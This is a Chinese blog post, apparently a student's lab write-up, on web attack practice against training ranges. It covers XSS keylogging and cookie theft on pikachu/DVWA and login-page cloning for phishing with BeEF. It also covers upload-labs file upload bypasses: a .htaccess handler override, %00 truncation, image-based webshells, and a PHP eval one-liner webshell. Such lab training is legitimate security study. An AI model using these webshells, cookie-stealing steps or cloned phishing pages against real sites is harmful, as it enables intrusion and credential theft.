09-XSS键盘监听、cookie窃取&文件上传绕过

1、XSS

(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录

  • XSS键盘记录

    • docker打开pikachu靶场,进入pikachu后端修改/var/www/html/pkxss/rkeypress/rk.js文件

      image-20241101230141655

    • 在存储型XSS模块输入payload(以dvwa靶场测试)

      image-20241101230948432

    • 监听记录成功

      image-20241101231639997

      image-20241101231246000

  • 获取cookie信息实现登入

    • 在pikachu靶场XSS盲打模块输入盗取cookie的payload

      image-20241101232923786

    • 登入后台发现插入成功,js代码成功被解析(即在xxs后台cookie收集模块成功盗取到cookie信息)

      image-20241101233935813

      image-20241101234445680

    • 利用cookie editor 修改cookie,同时改网址为登入后的界面地址

      image-20241101235600388

    • 无需账号密码直接登入成功

      image-20241101235819838

(2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码

  • 先首次安装完成beef后需要修改beef的/usr/share/beef-xss/config.yaml配置文件(登录密码修改、监听地址改成kali的ip地址)

    image-20241102000546748

  • ./beef 启动beef获取Hook URL、UI URL、API key等关键信息

    image-20241102001134865

  • 在kali输入克隆网站payload(以dvwa登入界面为例)

    # <URL of site to clone> 需要克隆的网址
    # <where to mount> 克隆的页面在服务器的哪个路径访问
    # <BeEFRURL> beef地址
    # <token> 服务启动时的 beef API key
    curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site
    to clone>", "mount":"<where to mount>"}' -X POST
    http://<BeEFURL>/api/seng/clone_page?token=<token>
    

    image-20241102002328770

  • 克隆页面成功

    image-20241102002547725

  • 若是用户在界面输入账号和密码,便可以在beef的日志信息里看到用户输入的内容,成功获取到账号和密码

    image-20241102003309609

2、文件上传

(1)客户端绕过练习

  • 这里用到upload-labs的1关,查看源码发现全片均由js代码书写

    image-20241101163110108

  • 通过F12调用控制台再按F1可以禁用js代码

    image-20241101163527206

  • 直接上传php文件成功绕过

    image-20241101163809968

(2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤

  • 这里用到upload-labs的4关,查看源码,发现黑名单未校验 .htaccess 文件

    image-20241101164914091

  • 上传.htaccess文件,文件内容为(即只要上传文件名为test.jpg都将当作php格式执行)

    #<!-- .htaccess文件 -->
    <FilesMatch "test.jpg">
    Sethandler application/x-httpd-php
    </FilesMatch>
    
  • 先将.htaccess文件上传,再将写有<?php phpinfo();?>代码的test.jpg上传,实现成功绕过

    image-20241101170441478

(3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过

  • 使用%00截断前提:php版本小于5.3.4、php.ini的magic_quotes_gpc为OFF状态

    • 这里使用虚拟机中的win7操作系统,安装phpstudy后修改版本

      image-20241101171222833

    • 然后对phpstudy的配置文件php.int进行修改

      image-20241101171549808

  • 这里查看虚拟机的IP地址,开启phpstudy就可以访问搭建好的靶场了

  • 对应的是upload-labs的11、12关(区别在于11是GET请求、12是POST请求),查看源码(这里以11关为例)发现设置了白名单,但是使用抓包可以修改,通过00%截断的方式修改路径(符合白名单的同时,还可以上传自己想要的文件名字及格式)

    image-20241101173908959

    • GET

      • 上传写有php代码的info.jpg文件,用burp抓包修改(这里注意在上传文件前需要确保网站目录下有upload文件夹,不然会因为找不到此目录而引发报错)

        image-20241101174759228

      • 上传成功后,访问目标地址需要将后面随机加是数字删除,真正的文件名是info.php(这里以自己取的名字为标准)

        image-20241101175537300

    • POST

      • 上传带有<?php eval(@$_POST['a']);?>php代码的post.png文件

      • burp抓包,因为是post请求所以利用%00截断修改路径在请求正文里(注意路径在请求正文里不会进行URL解码,所以还需要通过burp对%00进行一次解码)

        image-20241101211304171

      • 成功绕过拿下

        image-20241101213604076

(4)文件头检查:分别利用3种制作图片马的方式实现上传绕过

  • 这里用到upload-labs的14关

​ 1-Windows操作系统进行文件拼接

​ a.在存放有两张需要拼接的文件目录中cmd进入命令窗口中输入copy /b bob.jpg+info.php bob1.jpg拼接生成bob1.jpg文件

​ b.上传成功

image-20241101215755039

​ c.通过文件包含漏洞查看图片马

image-20241101220201108

​ 2-直接使用16进制编辑工具

​ a.在图片底部添加一句话木马

image-20241101221309672

​ b.上传成功

image-20241101220934595

​ c.通过蚁剑成功拿下

image-20241101221726268

​ 3-直接burp抓包

​ a.在图片尾部添加一句话木马

image-20241101224410197

​ b.上传成功

image-20241101224552101

​ c.通过蚁剑成功拿下

image-20241101224718994

(5)二次渲染绕过

  • 这里用到upload-labs的17关,查看源码可以发现他将原本的图片进行了二次渲染后又生成了新图片

    image-20241101162300524

  • 用010 editor工具将选中图片转化为十六进制编码,再从中插入<?php phpinfo();?>代码(这里注意插入的位置尽量靠前,以免php代码被二次渲染破坏)

    image-20241101160414056

  • 将带有php代码的图片上传,使用文件包含漏洞就可以解析到phpinfo文件

    image-20241101161652054

posted @   荔枝在敲诈  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· Trae初体验
点击右上角即可分享
微信分享提示